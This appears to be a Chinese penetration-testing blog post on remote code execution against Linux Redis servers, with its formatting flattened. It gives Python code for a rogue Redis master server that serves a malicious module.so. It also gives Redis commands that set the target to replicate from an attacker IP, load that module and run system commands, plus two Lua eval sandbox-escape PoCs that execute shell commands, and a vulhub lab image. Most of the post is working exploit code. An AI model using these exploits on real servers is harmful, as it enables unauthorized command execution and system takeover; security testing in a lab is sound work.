【渗透测试】Linux Redis服务器：你不要过来呀！

#网上找的server端代码#python3运行import osimport sysimport argparseimport socketserverimport loggingimport socketimport time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"rn"
class RoguoHandler(socketserver.BaseRequestHandler):    def decode(self, data):        if data.startswith(b'*'):            return data.strip().split(DELIMITER)[2::2]        if data.startswith(b'$'):            return data.split(DELIMITER, 2)[1]
        return data.strip().split()
    def handle(self):        while True:            data = self.request.recv(1024)            print(data)            logging.info("receive data: %r", data)            arr = self.decode(data)            if arr[0].startswith(b'PING'):                self.request.sendall(b'+PONG' + DELIMITER)            elif arr[0].startswith(b'REPLCONF'):                self.request.sendall(b'+OK' + DELIMITER)            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)                self.request.sendall(self.server.payload + DELIMITER)                break
        self.finish()
    def finish(self):        self.request.close()
class RoguoServer(socketserver.TCPServer):    allow_reuse_address = True
    def __init__(self, server_address, payload):        super(RoguoServer, self).__init__(server_address, RoguoHandler, True)        self.payload = payload
if __name__=='__main__':    expfile = 'module.so' #更改成实际生成的so文件地址！！！    lport = 6666 #监听端口可以随意修改    with open(expfile, 'rb') as f:        server = RoguoServer(('0.0.0.0', lport), f.read())    print("[+] listening ......")    server.handle_request()    print("[+] completed ~~~")

config get dir  #查看目录位置，做好备份config get dbfilename  #查看文件名，做好备份config set dbfilename exp.soSLAVEOF 192.168.169.133 6379 #设置主从MODULE LOAD /xxx/exp.so #加载命令执行模块,xxx为get dir中得到的路径system.exec "id" #执行系统命令

docker pull vulhub/redis:5.0.7

PoC1：eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0
PoC2：eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0